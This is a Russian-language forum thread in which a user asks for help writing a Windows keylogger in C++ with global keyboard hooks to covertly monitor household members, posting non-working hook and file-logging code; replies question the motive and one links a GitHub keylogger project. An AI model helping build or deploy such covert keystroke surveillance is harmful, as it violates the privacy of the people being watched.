Войти

Показать полную графическую версию : Глобальные хуки клавиатуры с++


null999
15-01-2019, 17:15
Нужно написать простенький кейлогер, на сколько прочитал надо использовать глобальные хуки иначе будет ловить только, когда окно с моей прогой активное
С горем пополам состряпал следующие...компилится, но не работает


#include <stdio.h>
#include <conio.h>
#include <windows.h>


int CALLBACK KeyboardProc(int nCode, DWORD wParam, DWORD lParam)
{

switch(wParam)
{
case WM_KEYDOWN:
MessageBox(NULL, NULL, NULL, 0);
break;
default:
break;
}

return 0;
}

int APIENTRY WinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpCmdLine,
int nCmdShow)
{

SetWindowsHookEx(WH_KEYBOARD_LL, (HOOKPROC)&KeyboardProc, GetModuleHandle(NULL), 0);

char ch;
int cha;

FILE *fptr;
HWND stealth;
AllocConsole();


while(1)
{
if (kbhit() )
{
ch = getch();
cha = ch;
fptr = fopen("data.txt", "a+");
fputc(ch,fptr);
fclose(fptr);
if ( cha == 27 )
{
return 0;
}
}
}
}

Iska
15-01-2019, 19:46
Нужно написать простенький кейлогер, »
Вам зачем?

null999
15-01-2019, 19:53
для домашнего пк
нужно отследить нажатие клавиш, что б понять что на нем делается в мое отсутствие
просто поставить пароль на учетную запись не вариант
поможете?

mwz
15-01-2019, 20:51
для домашнего пк »
А что, готовенькое не подходит? Например, https://vellisa.ru/dnevnik-punto-switcher

Iska
15-01-2019, 21:02
просто поставить пароль на учетную запись не вариант »
Почему нет?

null999
15-01-2019, 21:13
Iska, пк дома находится, соответственно запрещать им пользоваться не хочу. Пока сегодня искал инфу по поводу написания такого типа программы, то стало интересно написать самому такое, правда с какими-то подсказками, а то зашел в тупик немного
mwz, спасибо, но все таки не хочу пользоваться готовыми решениями

mwz
15-01-2019, 21:20
соответственно запрещать им пользоваться не хочу »

Ну хоть отдельную учётку для домочадцев сделали, с правами простого пользователя? Если да — то на свою поставить пароль. Если нет — сделать, а на свою поставить пароль. Хотя бы для того, чтобы ничего сбить не могли.

null999
15-01-2019, 21:33
mwz, учётки 2 есть
+ по логах видно, что делали за пк : учились/играли/работали

на сколько понял, то нужно 2 файла создать:
1- .dll
2- .exe
И соответственно подключить библиотеку к exe
Но что именно должно быть в dll, а что в exe?

null999
16-01-2019, 15:32
Iska, так поможете?

Iska
16-01-2019, 19:12
null999, я давно уже не программист :).

opel431
17-01-2019, 20:39
Расширенный keylogger, на C++, работает на Windows 7, 8, 8.1 и 10
https://github.com/htmercury/Cpp-Keylogger




© OSzone.net 2001-2012